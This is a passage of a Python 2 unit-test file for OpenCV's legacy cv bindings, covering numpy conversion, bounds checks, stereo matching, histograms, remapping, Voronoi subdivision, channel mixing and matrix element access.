cv.Set1D(m, i, i)\r\n                    na = numpy.asarray(m).reshape((total,))\r\n                    self.assertEqual(list(na), range(total))\r\n\r\n                    # now do numpy -> cvmat, and verify\r\n                    m2 = cv.fromarray(na, True)\r\n\r\n                    # Check that new cvmat m2 contains same counting sequence\r\n                    for i in range(total):\r\n                        self.assertEqual(cv.Get1D(m, i)[0], i)\r\n\r\n            # Verify round-trip for 2D arrays\r\n            for rows in [2, 3, 7, 13]:\r\n                for cols in [2, 3, 7, 13]:\r\n                    for allowND in [False, True]:\r\n                        im = cv.CreateMatND([rows, cols], cv.CV_16UC1)\r\n                        cv.SetZero(im)\r\n                        a = numpy.asarray(im)\r\n                        self.assertEqual(a.shape, (rows, cols))\r\n                        cvmatnd = cv.fromarray(a, allowND)\r\n                        self.assertEqual(cv.GetDims(cvmatnd), (rows, cols))\r\n\r\n                        # im, a and cvmatnd all point to the same data, so...\r\n                        for i,coord in enumerate([(0,0), (0,1), (1,0), (1,1)]):\r\n                            v = 5 + i + 7\r\n                            a[coord] = v\r\n                            self.assertEqual(im[coord], v)\r\n                            self.assertEqual(cvmatnd[coord], v)\r\n\r\n            # Cv -> Numpy 3 channel check\r\n            im = cv.CreateMatND([2, 13], cv.CV_16UC3)\r\n            self.assertEqual(numpy.asarray(im).shape, (2, 13, 3))\r\n\r\n            # multi-dimensional NumPy array\r\n            na = numpy.ones([7,9,2,1,8])\r\n            cm = cv.fromarray(na, True)\r\n            self.assertEqual(cv.GetDims(cm), (7,9,2,1,8))\r\n\r\n            # Using an array object for a CvArr parameter\r\n            ones = numpy.ones((640, 480))\r\n            r = cv.fromarray(numpy.ones((640, 480)))\r\n            cv.AddS(cv.fromarray(ones), 7, r)\r\n            self.assert_(numpy.alltrue(r == (8 * ones)))\r\n\r\n            # create arrays, use them in OpenCV and replace the the array\r\n            # looking for leaks\r\n            def randdim():\r\n                return [random.randrange(1,6) for i in range(random.randrange(1, 6))]\r\n            arrays = [numpy.ones(randdim()).astype(numpy.uint8) for i in range(10)]\r\n            cs = [cv.fromarray(a, True) for a in arrays]\r\n            for i in range(1000):\r\n                arrays[random.randrange(10)] = numpy.ones(randdim()).astype(numpy.uint8)\r\n                cs[random.randrange(10)] = cv.fromarray(arrays[random.randrange(10)], True)\r\n                for j in range(10):\r\n                    self.assert_(all([c == chr(1) for c in cs[j].tostring()]))\r\n\r\n            #\r\n            m = numpy.identity(4, dtype = numpy.float32)\r\n            m = cv.fromarray(m[:3, :3])\r\n            rvec = cv.CreateMat(3, 1, cv.CV_32FC1)\r\n            rvec[0,0] = 1\r\n            rvec[1,0] = 1\r\n            rvec[2,0] = 1\r\n            cv.Rodrigues2(rvec, m)\r\n        #print m\r\n\r\n        else:\r\n            print \"SKIPPING test_numpy - numpy support not built\"\r\n\r\n    def test_boundscatch(self):\r\n        l2 = cv.CreateMat(256, 1, cv.CV_8U)\r\n        l2[0,0]     # should be OK\r\n        self.assertRaises(cv.error, lambda: l2[1,1])\r\n        l2[0]       # should be OK\r\n        self.assertRaises(cv.error, lambda: l2[299])\r\n        for n in range(1, 8):\r\n            l = cv.CreateMatND([2] * n, cv.CV_8U)\r\n            l[0] # should be OK\r\n            self.assertRaises(cv.error, lambda: l[999])\r\n\r\n            tup0 = (0,) * n\r\n            l[tup0] # should be OK\r\n            tup2 = (2,) * n\r\n            self.assertRaises(cv.error, lambda: l[tup2])\r\n\r\n    def test_stereo(self):\r\n        bm = cv.CreateStereoBMState()\r\n        def illegal_delete():\r\n            bm = cv.CreateStereoBMState()\r\n            del bm.preFilterType\r\n        def illegal_assign():\r\n            bm = cv.CreateStereoBMState()\r\n            bm.preFilterType = \"foo\"\r\n\r\n        self.assertRaises(TypeError, illegal_delete)\r\n        self.assertRaises(TypeError, illegal_assign)\r\n\r\n        left = self.get_sample(\"samples/c/lena.jpg\", 0)\r\n        right = self.get_sample(\"samples/c/lena.jpg\", 0)\r\n        disparity = cv.CreateMat(512, 512, cv.CV_16SC1)\r\n        cv.FindStereoCorrespondenceBM(left, right, disparity, bm)\r\n\r\n        gc = cv.CreateStereoGCState(16, 2)\r\n        left_disparity = cv.CreateMat(512, 512, cv.CV_16SC1)\r\n        right_disparity = cv.CreateMat(512, 512, cv.CV_16SC1)\r\n\r\n    def test_stereo(self):\r\n        bm = cv.CreateStereoBMState()\r\n        def illegal_delete():\r\n            bm = cv.CreateStereoBMState()\r\n            del bm.preFilterType\r\n        def illegal_assign():\r\n            bm = cv.CreateStereoBMState()\r\n            bm.preFilterType = \"foo\"\r\n\r\n        self.assertRaises(TypeError, illegal_delete)\r\n        self.assertRaises(TypeError, illegal_assign)\r\n\r\n        left = self.get_sample(\"samples/c/lena.jpg\", 0)\r\n        right = self.get_sample(\"samples/c/lena.jpg\", 0)\r\n        disparity = cv.CreateMat(512, 512, cv.CV_16SC1)\r\n        cv.FindStereoCorrespondenceBM(left, right, disparity, bm)\r\n\r\n        gc = cv.CreateStereoGCState(16, 2)\r\n        left_disparity = cv.CreateMat(512, 512, cv.CV_16SC1)\r\n        right_disparity = cv.CreateMat(512, 512, cv.CV_16SC1)\r\n        cv.FindStereoCorrespondenceGC(left, right, left_disparity, right_disparity, gc)\r\n\r\n    def test_kalman(self):\r\n        k = cv.CreateKalman(2, 1, 0)\r\n\r\n    def failing_test_exception(self):\r\n        a = cv.CreateImage((640, 480), cv.IPL_DEPTH_8U, 1)\r\n        b = cv.CreateImage((640, 480), cv.IPL_DEPTH_8U, 1)\r\n        self.assertRaises(cv.error, lambda: cv.Laplace(a, b))\r\n\r\n    def test_cvmat_accessors(self):\r\n        cvm = cv.CreateMat(20, 10, cv.CV_32FC1)\r\n\r\n    def test_depths(self):\r\n    #\"\"\" Make sure that the depth enums are unique \"\"\"\r\n        self.assert_(len(self.depths) == len(set(self.depths)))\r\n\r\n    def test_leak(self):\r\n    #\"\"\" If CreateImage is not releasing image storage, then the loop below should use ~4GB of memory. \"\"\"\r\n        for i in range(64000):\r\n            a = cv.CreateImage((1024,1024), cv.IPL_DEPTH_8U, 1)\r\n        for i in range(64000):\r\n            a = cv.CreateMat(1024, 1024, cv.CV_8UC1)\r\n\r\n    def test_histograms(self):\r\n        def split(im):\r\n            nchans = cv.CV_MAT_CN(cv.GetElemType(im))\r\n            c = [ cv.CreateImage(cv.GetSize(im), cv.IPL_DEPTH_8U, 1) for i in range(nchans) ] + [None] * (4 - nchans)\r\n            cv.Split(im, c[0], c[1], c[2], c[3])\r\n            return c[:nchans]\r\n        def imh(im):\r\n            s = split(im)\r\n            hist = cv.CreateHist([256] * len(s), cv.CV_HIST_ARRAY, [ (0,255) ] * len(s), 1)\r\n            cv.CalcHist(s, hist, 0)\r\n            return hist\r\n\r\n        dims = [180]\r\n        ranges = [(0,180)]\r\n        a = cv.CreateHist(dims, cv.CV_HIST_ARRAY , ranges, 1)\r\n        src = self.get_sample(\"samples/c/lena.jpg\", 0)\r\n        h = imh(src)\r\n        (minv, maxv, minl, maxl) = cv.GetMinMaxHistValue(h)\r\n        self.assert_(cv.QueryHistValue_nD(h, minl) == minv)\r\n        self.assert_(cv.QueryHistValue_nD(h, maxl) == maxv)\r\n        bp = cv.CreateImage(cv.GetSize(src), cv.IPL_DEPTH_8U, 1)\r\n        cv.CalcBackProject(split(src), bp, h)\r\n        bp = cv.CreateImage((cv.GetSize(src)[0]-2, cv.GetSize(src)[1]-2), cv.IPL_DEPTH_32F, 1)\r\n        cv.CalcBackProjectPatch(split(src), bp, (3,3), h, cv.CV_COMP_INTERSECT, 1)\r\n\r\n        for meth,expected in [(cv.CV_COMP_CORREL, 1.0), (cv.CV_COMP_CHISQR, 0.0), (cv.CV_COMP_INTERSECT, 1.0), (cv.CV_COMP_BHATTACHARYYA, 0.0)]:\r\n            self.assertEqual(cv.CompareHist(h, h, meth), expected)\r\n\r\n    def test_remap(self):\r\n        rng = cv.RNG(0)\r\n        maxError = 1e-6\r\n        raw = cv.CreateImage((640, 480), cv.IPL_DEPTH_8U, 1)\r\n        for x in range(0, 640, 20):\r\n            cv.Line(raw, (x,0), (x,480), 255, 1)\r\n        for y in range(0, 480, 20):\r\n            cv.Line(raw, (0,y), (640,y), 255, 1)\r\n        intrinsic_mat = cv.CreateMat(3, 3, cv.CV_32FC1)\r\n        distortion_coeffs = cv.CreateMat(1, 4, cv.CV_32FC1)\r\n\r\n        cv.SetZero(intrinsic_mat)\r\n        intrinsic_mat[0,2] = 320.0\r\n        intrinsic_mat[1,2] = 240.0\r\n        intrinsic_mat[0,0] = 320.0\r\n        intrinsic_mat[1,1] = 320.0\r\n        intrinsic_mat[2,2] = 1.0\r\n        cv.SetZero(distortion_coeffs)\r\n        distortion_coeffs[0,0] = 1e-1\r\n        mapx = cv.CreateImage((640, 480), cv.IPL_DEPTH_32F, 1)\r\n        mapy = cv.CreateImage((640, 480), cv.IPL_DEPTH_32F, 1)\r\n        cv.SetZero(mapx)\r\n        cv.SetZero(mapy)\r\n        cv.InitUndistortMap(intrinsic_mat, distortion_coeffs, mapx, mapy)\r\n        rect = cv.CreateImage((640, 480), cv.IPL_DEPTH_8U, 1)\r\n\r\n        (w,h) = (640,480)\r\n        rMapxy = cv.CreateMat(h, w, cv.CV_16SC2)\r\n        rMapa  = cv.CreateMat(h, w, cv.CV_16UC1)\r\n        cv.ConvertMaps(mapx,mapy,rMapxy,rMapa)\r\n\r\n        cv.Remap(raw, rect, mapx, mapy)\r\n        cv.Remap(raw, rect, rMapxy, rMapa)\r\n        cv.Undistort2(raw, rect, intrinsic_mat, distortion_coeffs)\r\n\r\n        for w in [1, 4, 4095, 4096, 4097, 4100]:\r\n            p = cv.CreateImage((w,256), 8, 1)\r\n            up = cv.CreateImage((w,256), 8, 1)\r\n            cv.Undistort2(p, up, intrinsic_mat, distortion_coeffs)\r\n\r\n        fptypes = [cv.CV_32FC1, cv.CV_64FC1]\r\n        pointsCount = 7\r\n        for t0 in fptypes:\r\n            for t1 in fptypes:\r\n                for t2 in fptypes:\r\n                    for t3 in fptypes:\r\n                        rotation_vector = cv.CreateMat(1, 3, t0)\r\n                        translation_vector = cv.CreateMat(1, 3, t1)\r\n                        cv.RandArr(rng, rotation_vector, cv.CV_RAND_UNI, -1.0, 1.0)\r\n                        cv.RandArr(rng, translation_vector, cv.CV_RAND_UNI, -1.0, 1.0)\r\n                        object_points = cv.CreateMat(pointsCount, 3, t2)\r\n                        image_points = cv.CreateMat(pointsCount, 2, t3)\r\n                        cv.RandArr(rng, object_points, cv.CV_RAND_UNI, -100.0, 100.0)\r\n                        cv.ProjectPoints2(object_points, rotation_vector, translation_vector, intrinsic_mat, distortion_coeffs, image_points)\r\n\r\n                        reshaped_object_points = cv.Reshape(object_points, 1, 3)\r\n                        reshaped_image_points = cv.CreateMat(2, pointsCount, t3)\r\n                        cv.ProjectPoints2(object_points, rotation_vector, translation_vector, intrinsic_mat, distortion_coeffs, reshaped_image_points)\r\n\r\n                        error = cv.Norm(reshaped_image_points, cv.Reshape(image_points, 1, 2))\r\n                        self.assert_(error < maxError)\r\n\r\n    def test_arithmetic(self):\r\n        a = cv.CreateMat(4, 4, cv.CV_8UC1)\r\n        a[0,0] = 50.0\r\n        b = cv.CreateMat(4, 4, cv.CV_8UC1)\r\n        b[0,0] = 4.0\r\n        d = cv.CreateMat(4, 4, cv.CV_8UC1)\r\n        cv.Add(a, b, d)\r\n        self.assertEqual(d[0,0], 54.0)\r\n        cv.Mul(a, b, d)\r\n        self.assertEqual(d[0,0], 200.0)\r\n\r\n\r\n    def failing_test_cvtcolor(self):\r\n        src3 = self.get_sample(\"samples/c/lena.jpg\")\r\n        src1 = self.get_sample(\"samples/c/lena.jpg\", 0)\r\n        dst8u = dict([(c,cv.CreateImage(cv.GetSize(src1), cv.IPL_DEPTH_8U, c)) for c in (1,2,3,4)])\r\n        dst16u = dict([(c,cv.CreateImage(cv.GetSize(src1), cv.IPL_DEPTH_16U, c)) for c in (1,2,3,4)])\r\n        dst32f = dict([(c,cv.CreateImage(cv.GetSize(src1), cv.IPL_DEPTH_32F, c)) for c in (1,2,3,4)])\r\n\r\n        for srcf in [\"BGR\", \"RGB\"]:\r\n            for dstf in [\"Luv\"]:\r\n                cv.CvtColor(src3, dst8u[3], eval(\"cv.CV_%s2%s\" % (srcf, dstf)))\r\n                cv.CvtColor(src3, dst32f[3], eval(\"cv.CV_%s2%s\" % (srcf, dstf)))\r\n                cv.CvtColor(src3, dst8u[3], eval(\"cv.CV_%s2%s\" % (dstf, srcf)))\r\n\r\n        for srcf in [\"BayerBG\", \"BayerGB\", \"BayerGR\"]:\r\n            for dstf in [\"RGB\", \"BGR\"]:\r\n                cv.CvtColor(src1, dst8u[3], eval(\"cv.CV_%s2%s\" % (srcf, dstf)))\r\n\r\n    def test_voronoi(self):\r\n        w,h = 500,500\r\n\r\n        storage = cv.CreateMemStorage(0)\r\n\r\n        def facet_edges(e0):\r\n            e = e0\r\n            while True:\r\n                e = cv.Subdiv2DGetEdge(e, cv.CV_NEXT_AROUND_LEFT)\r\n                yield e\r\n                if e == e0:\r\n                    break\r\n\r\n        def areas(edges):\r\n            seen = []\r\n            seensorted = []\r\n            for edge in edges:\r\n                pts = [ cv.Subdiv2DEdgeOrg(e) for e in facet_edges(edge) ]\r\n                if not (None in pts):\r\n                    l = [p.pt for p in pts]\r\n                    ls = sorted(l)\r\n                    if not(ls in seensorted):\r\n                        seen.append(l)\r\n                        seensorted.append(ls)\r\n            return seen\r\n\r\n        for npoints in range(1, 200):\r\n            points = [ (random.randrange(w), random.randrange(h)) for i in range(npoints) ]\r\n            subdiv = cv.CreateSubdivDelaunay2D( (0,0,w,h), storage )\r\n            for p in points:\r\n                cv.SubdivDelaunay2DInsert( subdiv, p)\r\n            cv.CalcSubdivVoronoi2D(subdiv)\r\n            ars = areas([ cv.Subdiv2DRotateEdge(e, 1) for e in subdiv.edges ] + [ cv.Subdiv2DRotateEdge(e, 3) for e in subdiv.edges ])\r\n            self.assert_(len(ars) == len(set(points)))\r\n\r\n            if False:\r\n                img = cv.CreateImage((w,h), cv.IPL_DEPTH_8U, 3)\r\n                cv.SetZero(img)\r\n                def T(x): return int(x) # int(300+x/16)\r\n                for pts in ars:\r\n                    cv.FillConvexPoly( img, [(T(x),T(y)) for (x,y) in pts], cv.RGB(100+random.randrange(156),random.randrange(256),random.randrange(256)), cv.CV_AA, 0 );\r\n                for x,y in points:\r\n                    cv.Circle(img, (T(x), T(y)), 3, cv.RGB(0,0,0), -1)\r\n\r\n                cv.ShowImage(\"snap\", img)\r\n                if cv.WaitKey(10) > 0:\r\n                    break\r\n\r\n    def perf_test_pow(self):\r\n        mt = cv.CreateMat(1000, 1000, cv.CV_32FC1)\r\n        dst = cv.CreateMat(1000, 1000, cv.CV_32FC1)\r\n        rng = cv.RNG(0)\r\n        cv.RandArr(rng, mt, cv.CV_RAND_UNI, 0, 1000.0)\r\n        mt[0,0] = 10\r\n        print\r\n        for a in [0.5, 2.0, 2.3, 2.4, 3.0, 37.1786] + [2.4]*10:\r\n            started = time.time()\r\n            for i in range(10):\r\n                cv.Pow(mt, dst, a)\r\n            took = (time.time() - started) / 1e7\r\n            print \"%4.1f took %f ns\" % (a, took * 1e9)\r\n        print dst[0,0], 10 ** 2.4\r\n\r\n    def test_access_row_col(self):\r\n        src = cv.CreateImage((8,3), 8, 1)\r\n        # Put these words\r\n        #     Achilles\r\n        #     Benedict\r\n        #     Congreve\r\n        # in an array (3 rows, 8 columns).\r\n        # Then extract the array in various ways.\r\n\r\n        for r,w in enumerate((\"Achilles\", \"Benedict\", \"Congreve\")):\r\n            for c,v in enumerate(w):\r\n                src[r,c] = ord(v)\r\n        self.assertEqual(src.tostring(), \"AchillesBenedictCongreve\")\r\n        self.assertEqual(src[:,:].tostring(), \"AchillesBenedictCongreve\")\r\n        self.assertEqual(src[:,:4].tostring(), \"AchiBeneCong\")\r\n        self.assertEqual(src[:,0].tostring(), \"ABC\")\r\n        self.assertEqual(src[:,4:].tostring(), \"llesdictreve\")\r\n        self.assertEqual(src[::2,:].tostring(), \"AchillesCongreve\")\r\n        self.assertEqual(src[1:,:].tostring(), \"BenedictCongreve\")\r\n        self.assertEqual(src[1:2,:].tostring(), \"Benedict\")\r\n        self.assertEqual(src[::2,:4].tostring(), \"AchiCong\")\r\n        # The mats share the same storage, so updating one should update them all\r\n        lastword = src[2]\r\n        self.assertEqual(lastword.tostring(), \"Congreve\")\r\n        src[2,0] = ord('K')\r\n        self.assertEqual(lastword.tostring(), \"Kongreve\")\r\n        src[2,0] = ord('C')\r\n\r\n        # ABCD\r\n        # EFGH\r\n        # IJKL\r\n        #\r\n        # MNOP\r\n        # QRST\r\n        # UVWX\r\n\r\n        mt = cv.CreateMatND([2,3,4], cv.CV_8UC1)\r\n        for i in range(2):\r\n            for j in range(3):\r\n                for k in range(4):\r\n                    mt[i,j,k] = ord('A') + k + 4 * (j + 3 * i)\r\n        self.assertEqual(mt[:,:,:1].tostring(), \"AEIMQU\")\r\n        self.assertEqual(mt[:,:1,:].tostring(), \"ABCDMNOP\")\r\n        self.assertEqual(mt[:1,:,:].tostring(), \"ABCDEFGHIJKL\")\r\n        self.assertEqual(mt[1,1].tostring(), \"QRST\")\r\n        self.assertEqual(mt[:,::2,:].tostring(), \"ABCDIJKLMNOPUVWX\")\r\n\r\n        # Exercise explicit GetRows\r\n        self.assertEqual(cv.GetRows(src, 0, 3).tostring(), \"AchillesBenedictCongreve\")\r\n        self.assertEqual(cv.GetRows(src, 0, 3, 1).tostring(), \"AchillesBenedictCongreve\")\r\n        self.assertEqual(cv.GetRows(src, 0, 3, 2).tostring(), \"AchillesCongreve\")\r\n\r\n        self.assertEqual(cv.GetRow(src, 0).tostring(), \"Achilles\")\r\n\r\n        self.assertEqual(cv.GetCols(src, 0, 4).tostring(), \"AchiBeneCong\")\r\n\r\n        self.assertEqual(cv.GetCol(src, 0).tostring(), \"ABC\")\r\n        self.assertEqual(cv.GetCol(src, 1).tostring(), \"ceo\")\r\n\r\n        self.assertEqual(cv.GetDiag(src, 0).tostring(), \"Aen\")\r\n\r\n        # Check that matrix type is preserved by the various operators\r\n\r\n        for mt in self.mat_types:\r\n            m = cv.CreateMat(5, 3, mt)\r\n            self.assertEqual(mt, cv.GetElemType(cv.GetRows(m, 0, 2)))\r\n            self.assertEqual(mt, cv.GetElemType(cv.GetRow(m, 0)))\r\n            self.assertEqual(mt, cv.GetElemType(cv.GetCols(m, 0, 2)))\r\n            self.assertEqual(mt, cv.GetElemType(cv.GetCol(m, 0)))\r\n            self.assertEqual(mt, cv.GetElemType(cv.GetDiag(m, 0)))\r\n            self.assertEqual(mt, cv.GetElemType(m[0]))\r\n            self.assertEqual(mt, cv.GetElemType(m[::2]))\r\n            self.assertEqual(mt, cv.GetElemType(m[:,0]))\r\n            self.assertEqual(mt, cv.GetElemType(m[:,:]))\r\n            self.assertEqual(mt, cv.GetElemType(m[::2,:]))\r\n\r\n    def test_addS_3D(self):\r\n        for dim in [ [1,1,4], [2,2,3], [7,4,3] ]:\r\n            for ty,ac in [ (cv.CV_32FC1, 'f'), (cv.CV_64FC1, 'd')]:\r\n                mat = cv.CreateMatND(dim, ty)\r\n                mat2 = cv.CreateMatND(dim, ty)\r\n                for increment in [ 0, 3, -1 ]:\r\n                    cv.SetData(mat, array.array(ac, range(dim[0] * dim[1] * dim[2])), 0)\r\n                    cv.AddS(mat, increment, mat2)\r\n                    for i in range(dim[0]):\r\n                        for j in range(dim[1]):\r\n                            for k in range(dim[2]):\r\n                                self.assert_(mat2[i,j,k] == mat[i,j,k] + increment)\r\n\r\n    def test_buffers(self):\r\n        ar = array.array('f', [7] * (360*640))\r\n\r\n        m = cv.CreateMat(360, 640, cv.CV_32FC1)\r\n        cv.SetData(m, ar, 4 * 640)\r\n        self.assert_(m[0,0] == 7.0)\r\n\r\n        m = cv.CreateMatND((360, 640), cv.CV_32FC1)\r\n        cv.SetData(m, ar, 4 * 640)\r\n        self.assert_(m[0,0] == 7.0)\r\n\r\n        m = cv.CreateImage((640, 360), cv.IPL_DEPTH_32F, 1)\r\n        cv.SetData(m, ar, 4 * 640)\r\n        self.assert_(m[0,0] == 7.0)\r\n\r\n    def xxtest_Filters(self):\r\n        print\r\n        m = cv.CreateMat(360, 640, cv.CV_32FC1)\r\n        d = cv.CreateMat(360, 640, cv.CV_32FC1)\r\n        for k in range(3, 21, 2):\r\n            started = time.time()\r\n            for i in range(1000):\r\n                cv.Smooth(m, m, param1=k)\r\n            print k, \"took\", time.time() - started\r\n\r\n    def assertSame(self, a, b):\r\n        w,h = cv.GetSize(a)\r\n        d = cv.CreateMat(h, w, cv.CV_8UC1)\r\n        cv.AbsDiff(a, b, d)\r\n        self.assert_(cv.CountNonZero(d) == 0)\r\n\r\n    def test_text(self):\r\n        img = cv.CreateImage((640,40), cv.IPL_DEPTH_8U, 1)\r\n        cv.SetZero(img)\r\n        font = cv.InitFont(cv.CV_FONT_HERSHEY_SIMPLEX, 1, 1)\r\n        message = \"XgfooX\"\r\n        cv.PutText(img, message, (320,30), font, 255)\r\n        ((w,h),bl) = cv.GetTextSize(message, font)\r\n\r\n        # Find nonzero in X and Y\r\n        Xs = []\r\n        for x in range(640):\r\n            cv.SetImageROI(img, (x, 0, 1, 40))\r\n            Xs.append(cv.Sum(img)[0] > 0)\r\n        def firstlast(l):\r\n            return (l.index(True), len(l) - list(reversed(l)).index(True))\r\n\r\n        Ys = []\r\n        for y in range(40):\r\n            cv.SetImageROI(img, (0, y, 640, 1))\r\n            Ys.append(cv.Sum(img)[0] > 0)\r\n\r\n        x0,x1 = firstlast(Xs)\r\n        y0,y1 = firstlast(Ys)\r\n        actual_width = x1 - x0\r\n        actual_height = y1 - y0\r\n\r\n        # actual_width can be up to 8 pixels smaller than GetTextSize says\r\n        self.assert_(actual_width <= w)\r\n        self.assert_((w - actual_width) <= 8)\r\n\r\n        # actual_height can be up to 4 pixels smaller than GetTextSize says\r\n        self.assert_(actual_height <= (h + bl))\r\n        self.assert_(((h + bl) - actual_height) <= 4)\r\n\r\n        cv.ResetImageROI(img)\r\n        self.assert_(w != 0)\r\n        self.assert_(h != 0)\r\n\r\n    def test_sizes(self):\r\n        sizes = [ 1, 2, 3, 97, 255, 256, 257, 947 ]\r\n        for w in sizes:\r\n            for h in sizes:\r\n                # Create an IplImage\r\n                im = cv.CreateImage((w,h), cv.IPL_DEPTH_8U, 1)\r\n                cv.Set(im, 1)\r\n                self.assert_(cv.Sum(im)[0] == (w * h))\r\n                del im\r\n                # Create a CvMat\r\n                mt = cv.CreateMat(h, w, cv.CV_8UC1)\r\n                cv.Set(mt, 1)\r\n                self.assert_(cv.Sum(mt)[0] == (w * h))\r\n\r\n        random.seed(7)\r\n        for dim in range(1, cv.CV_MAX_DIM + 1):\r\n            for attempt in range(10):\r\n                dims = [ random.choice([1,1,1,1,2,3]) for i in range(dim) ]\r\n                mt = cv.CreateMatND(dims, cv.CV_8UC1)\r\n                cv.SetZero(mt)\r\n                self.assert_(cv.Sum(mt)[0] == 0)\r\n                # Set to all-ones, verify the sum\r\n                cv.Set(mt, 1)\r\n                expected = 1\r\n                for d in dims:\r\n                    expected *= d\r\n                self.assert_(cv.Sum(mt)[0] == expected)\r\n\r\n    def test_random(self):\r\n        seeds = [ 0, 1, 2**48, 2**48 + 1 ]\r\n        sequences = set()\r\n        for s in seeds:\r\n            rng = cv.RNG(s)\r\n            sequences.add(str([cv.RandInt(rng) for i in range(10)]))\r\n        self.assert_(len(seeds) == len(sequences))\r\n\r\n        rng = cv.RNG(0)\r\n        im = cv.CreateImage((1024,1024), cv.IPL_DEPTH_8U, 1)\r\n        cv.RandArr(rng, im, cv.CV_RAND_UNI, 0, 256)\r\n        cv.RandArr(rng, im, cv.CV_RAND_NORMAL, 128, 30)\r\n        if 1:\r\n            hist = cv.CreateHist([ 256 ], cv.CV_HIST_ARRAY, [ (0,255) ], 1)\r\n            cv.CalcHist([im], hist)\r\n\r\n        rng = cv.RNG()\r\n        for i in range(1000):\r\n            v = cv.RandReal(rng)\r\n            self.assert_(0 <= v)\r\n            self.assert_(v < 1)\r\n\r\n        for mode in [ cv.CV_RAND_UNI, cv.CV_RAND_NORMAL ]:\r\n            for fmt in self.mat_types:\r\n                mat = cv.CreateMat(64, 64, fmt)\r\n                cv.RandArr(cv.RNG(), mat, mode, (0,0,0,0), (1,1,1,1))\r\n\r\n    def test_MixChannels(self):\r\n\r\n        # First part - test the single case described in the documentation\r\n        rgba = cv.CreateMat(100, 100, cv.CV_8UC4)\r\n        bgr = cv.CreateMat(100, 100, cv.CV_8UC3)\r\n        alpha = cv.CreateMat(100, 100, cv.CV_8UC1)\r\n        cv.Set(rgba, (1,2,3,4))\r\n        cv.MixChannels([rgba], [bgr, alpha], [\r\n           (0, 2),    # rgba[0] -> bgr[2]\r\n           (1, 1),    # rgba[1] -> bgr[1]\r\n           (2, 0),    # rgba[2] -> bgr[0]\r\n           (3, 3)     # rgba[3] -> alpha[0]\r\n        ])\r\n        self.assert_(bgr[0,0] == (3,2,1))\r\n        self.assert_(alpha[0,0] == 4)\r\n\r\n        # Second part.  Choose random sets of sources and destinations,\r\n        # fill them with known values, choose random channel assignments,\r\n        # run cvMixChannels and check that the result is as expected.\r\n\r\n        random.seed(1)\r\n\r\n        for rows in [1,2,4,13,64,1000]:\r\n            for cols in [1,2,4,13,64,1000]:\r\n                for loop in range(5):\r\n                    sources = [random.choice([1, 2, 3, 4]) for i in range(8)]\r\n                    dests = [random.choice([1, 2, 3, 4]) for i in range(8)]\r\n                    # make sure that fromTo does not have duplicates in dests, otherwise the result is not determined\r\n                    while 1:\r\n                        fromTo = [(random.randrange(-1, sum(sources)), random.randrange(sum(dests))) for i in range(random.randrange(1, 30))]\r\n                        dests_set = list(set([j for (i, j) in fromTo]))\r\n                        if len(dests_set) == len(dests):\r\n                            break\r\n\r\n                    # print sources\r\n                    # print dests\r\n                    # print fromTo\r\n\r\n                    def CV_8UC(n):\r\n                        return [cv.CV_8UC1, cv.CV_8UC2, cv.CV_8UC3, cv.CV_8UC4][n-1]\r\n                    source_m = [cv.CreateMat(rows, cols, CV_8UC(c)) for c in sources]\r\n                    dest_m =   [cv.CreateMat(rows, cols, CV_8UC(c)) for c in dests]\r\n\r\n                    def m00(m):\r\n                        # return the contents of the N channel mat m[0,0] as a N-length list\r\n                        chans = cv.CV_MAT_CN(cv.GetElemType(m))\r\n                        if chans == 1:\r\n                            return [m[0,0]]\r\n                        else:\r\n                            return list(m[0,0])[:chans]\r\n\r\n                    # Sources numbered from 50, destinations numbered from 100\r\n\r\n                    for i in range(len(sources)):\r\n                        s = sum(sources[:i]) + 50\r\n                        cv.Set(source_m[i], (s, s+1, s+2, s+3))\r\n                        self.assertEqual(m00(source_m[i]), [s, s+1, s+2, s+3][:sources[i]])\r\n\r\n                    for i in range(len(dests)):\r\n                        s = sum(dests[:i]) + 100\r\n                        cv.Set(dest_m[i], (s, s+1, s+2, s+3))\r\n                        self.assertEqual(m00(dest_m[i]), [s, s+1, s+2, s+3][:dests[i]])\r\n\r\n                    # now run the sanity check\r\n\r\n                    for i in range(len(sources)):\r\n                        s = sum(sources[:i]) + 50\r\n                        self.assertEqual(m00(source_m[i]), [s, s+1, s+2, s+3][:sources[i]])\r\n\r\n                    for i in range(len(dests)):\r\n                        s = sum(dests[:i]) + 100\r\n                        self.assertEqual(m00(dest_m[i]), [s, s+1, s+2, s+3][:dests[i]])\r\n\r\n                    cv.MixChannels(source_m, dest_m, fromTo)\r\n\r\n                    expected = range(100, 100 + sum(dests))\r\n                    for (i, j) in fromTo:\r\n                        if i == -1:\r\n                            expected[j] = 0.0\r\n                        else:\r\n                            expected[j] = 50 + i\r\n\r\n                    actual = sum([m00(m) for m in dest_m], [])\r\n                    self.assertEqual(sum([m00(m) for m in dest_m], []), expected)\r\n\r\n    def test_allocs(self):\r\n        mats = [ 0 for i in range(20) ]\r\n        for i in range(1000):\r\n            m = cv.CreateMat(random.randrange(10, 512), random.randrange(10, 512), cv.CV_8UC1)\r\n            j = random.randrange(len(mats))\r\n            mats[j] = m\r\n            cv.SetZero(m)\r\n\r\n    def test_access(self):\r\n        cnames = { 1:cv.CV_32FC1, 2:cv.CV_32FC2, 3:cv.CV_32FC3, 4:cv.CV_32FC4 }\r\n\r\n        for w in range(1,11):\r\n            for h in range(2,11):\r\n                for c in [1,2]:\r\n                    for o in [ cv.CreateMat(h, w, cnames[c]), cv.CreateImage((w,h), cv.IPL_DEPTH_32F, c) ][1:]:\r\n                        pattern = [ (i,j) for i in range(w) for j in range(h) ]\r\n                        random.shuffle(pattern)\r\n                        for k,(i,j) in enumerate(pattern):\r\n                            if c == 1:\r\n                                o[j,i] = k\r\n                            else:\r\n                                o[j,i] = (k,) * c\r\n                        for k,(i,j) in enumerate(pattern):\r\n                            if c == 1:\r\n                                self.assert_(o[j,i] == k)\r\n                            else:\r\n                                self.assert_(o[j,i] == (k,)*c)\r\n\r\n        test_mat = cv.CreateMat(2, 3, cv.CV_32FC1)\r\n        cv.SetData(test_mat, array.array('f', range(6)), 12)\r\n        self.assertEqual(cv.GetDims(test_mat[0]), (1, 3))\r\n        self.assertEqual(cv.GetDims(test_mat[1]), (1, 3))\r\n        self.assertEqual(cv.GetDims(test_mat[0:1]), (1, 3))\r\n        self.assertEqual(cv.GetDims(test_mat[1:2]), (1, 3))\r\n        self.assertEqual(cv.GetDims(test_mat[-1:]), (1, 3))\r\n        self.assertEqual(cv.GetDims(test_mat[-1]), (1, 3))\r\n\r\n    def xxxtest_corners(self):\r\n        a = cv.LoadImage(\"foo-mono.png\", 0)\r\n        cv.AdaptiveThreshold(a, a, 255, param1=5)\r\n        